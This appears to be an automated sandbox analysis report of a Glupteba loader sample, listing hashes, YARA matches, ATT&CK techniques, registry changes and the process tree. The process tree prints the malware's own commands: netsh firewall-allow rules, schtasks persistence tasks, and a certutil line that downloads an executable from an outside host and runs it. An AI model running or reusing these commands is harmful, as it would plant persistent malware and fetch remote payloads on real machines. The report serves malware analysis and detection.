glupteba | 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904

General

Target

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Size

3.8MB
MD5

eea23ae4a9b1b328d815f93a7ce6cc7b
SHA1

a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff
SHA256

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904
SHA512

9daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac
SSDEEP

98304:uSUWsCvxkFWk1R5N+kTncjlGwEuwt8XqUKT2no2UefXXv1PGpg9T:uYsCvxwdlOlGU3XqUu2fRfX9Gpg9

Score

10^/10

glupteba discovery dropper evasion loader persistence

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4512-133-0x0000000003AC0000-0x00000000041B2000-memory.dmp	family_glupteba
behavioral2/memory/4512-134-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba
behavioral2/memory/4512-136-0x0000000003AC0000-0x00000000041B2000-memory.dmp	family_glupteba
behavioral2/memory/4512-137-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba
behavioral2/memory/4640-141-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba
behavioral2/memory/4640-147-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba
behavioral2/memory/3592-151-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba
behavioral2/memory/3592-155-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4848 created 4512	4848	svchost.exe	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
PID 4848 created 3592	4848	svchost.exe	csrss.exe
PID 4848 created 3592	4848	svchost.exe	csrss.exe
PID 4848 created 3592	4848	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

3592 csrss.exe
1760 patch.exe
Modifies Windows Firewall 1 TTPs 2 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exenetsh.exe

pid process

1792 netsh.exe
32 netsh.exe

pid	process
3592	csrss.exe
1760	patch.exe

pid	process
1792	netsh.exe
32	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EmptyForest = "\"C:\\Windows\\rss\\csrss.exe\""	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

1784 bcdedit.exe

pid	process
1784	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe

description	ioc	process
File opened for modification	C:\Windows\rss	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
File created	C:\Windows\rss\csrss.exe	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

632 schtasks.exe
1076 schtasks.exe

pid	process
632	schtasks.exe
1076	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.execsrss.exe

pid	process
4512	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
4512	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
4640	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
4640	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
3592	csrss.exe
3592	csrss.exe
3592	csrss.exe
3592	csrss.exe
3592	csrss.exe
3592	csrss.exe
3592	csrss.exe
3592	csrss.exe
3592	csrss.exe
3592	csrss.exe
3592	csrss.exe
3592	csrss.exe
3592	csrss.exe
3592	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4512	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Token: SeImpersonatePrivilege	4512	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Token: SeTcbPrivilege	4848	svchost.exe
Token: SeTcbPrivilege	4848	svchost.exe
Token: SeBackupPrivilege	4848	svchost.exe
Token: SeRestorePrivilege	4848	svchost.exe
Token: SeBackupPrivilege	4848	svchost.exe
Token: SeRestorePrivilege	4848	svchost.exe
Token: SeBackupPrivilege	4848	svchost.exe
Token: SeRestorePrivilege	4848	svchost.exe
Token: SeBackupPrivilege	4848	svchost.exe
Token: SeRestorePrivilege	4848	svchost.exe
Token: SeSystemEnvironmentPrivilege	3592	csrss.exe
Token: SeBackupPrivilege	4848	svchost.exe
Token: SeRestorePrivilege	4848	svchost.exe
Token: SeBackupPrivilege	4848	svchost.exe
Token: SeRestorePrivilege	4848	svchost.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

svchost.exe2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.execmd.execmd.execsrss.exe

description	pid	process	target process
PID 4848 wrote to memory of 4640	4848	svchost.exe	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
PID 4848 wrote to memory of 4640	4848	svchost.exe	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
PID 4848 wrote to memory of 4640	4848	svchost.exe	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
PID 4640 wrote to memory of 4296	4640	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	cmd.exe
PID 4640 wrote to memory of 4296	4640	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	cmd.exe
PID 4296 wrote to memory of 1792	4296	cmd.exe	netsh.exe
PID 4296 wrote to memory of 1792	4296	cmd.exe	netsh.exe
PID 4640 wrote to memory of 260	4640	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	cmd.exe
PID 4640 wrote to memory of 260	4640	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	cmd.exe
PID 260 wrote to memory of 32	260	cmd.exe	netsh.exe
PID 260 wrote to memory of 32	260	cmd.exe	netsh.exe
PID 4640 wrote to memory of 3592	4640	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	csrss.exe
PID 4640 wrote to memory of 3592	4640	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	csrss.exe
PID 4640 wrote to memory of 3592	4640	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	csrss.exe
PID 4848 wrote to memory of 632	4848	svchost.exe	schtasks.exe
PID 4848 wrote to memory of 632	4848	svchost.exe	schtasks.exe
PID 4848 wrote to memory of 1076	4848	svchost.exe	schtasks.exe
PID 4848 wrote to memory of 1076	4848	svchost.exe	schtasks.exe
PID 4848 wrote to memory of 1760	4848	svchost.exe	patch.exe
PID 4848 wrote to memory of 1760	4848	svchost.exe	patch.exe
PID 3592 wrote to memory of 1784	3592	csrss.exe	bcdedit.exe
PID 3592 wrote to memory of 1784	3592	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
"C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4512

C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
"C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4640

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4296

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:1792

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:260

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:32

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3592

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:632

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1076

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:1760

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:1784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4848

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
eea23ae4a9b1b328d815f93a7ce6cc7b

SHA1
a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff

SHA256
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904

SHA512
9daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
eea23ae4a9b1b328d815f93a7ce6cc7b

SHA1
a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff

SHA256
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904

SHA512
9daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac

Download Submit
memory/32-143-0x0000000000000000-mapping.dmp

Download
memory/260-142-0x0000000000000000-mapping.dmp

Download
memory/632-149-0x0000000000000000-mapping.dmp

Download
memory/1076-150-0x0000000000000000-mapping.dmp

Download
memory/1760-152-0x0000000000000000-mapping.dmp

Download
memory/1784-154-0x0000000000000000-mapping.dmp

Download
memory/1792-140-0x0000000000000000-mapping.dmp

Download
memory/3592-144-0x0000000000000000-mapping.dmp

Download
memory/3592-155-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download
memory/3592-148-0x0000000003B00000-0x0000000003EA5000-memory.dmp

Filesize
3.6MB

Download
memory/3592-151-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download
memory/4296-139-0x0000000000000000-mapping.dmp

Download
memory/4512-134-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download
memory/4512-132-0x000000000370B000-0x0000000003AB0000-memory.dmp

Filesize
3.6MB

Download
memory/4512-133-0x0000000003AC0000-0x00000000041B2000-memory.dmp

Filesize
6.9MB

Download
memory/4512-137-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download
memory/4512-136-0x0000000003AC0000-0x00000000041B2000-memory.dmp

Filesize
6.9MB

Download
memory/4640-138-0x00000000036BD000-0x0000000003A62000-memory.dmp

Filesize
3.6MB

Download
memory/4640-135-0x0000000000000000-mapping.dmp

Download
memory/4640-147-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download
memory/4640-141-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads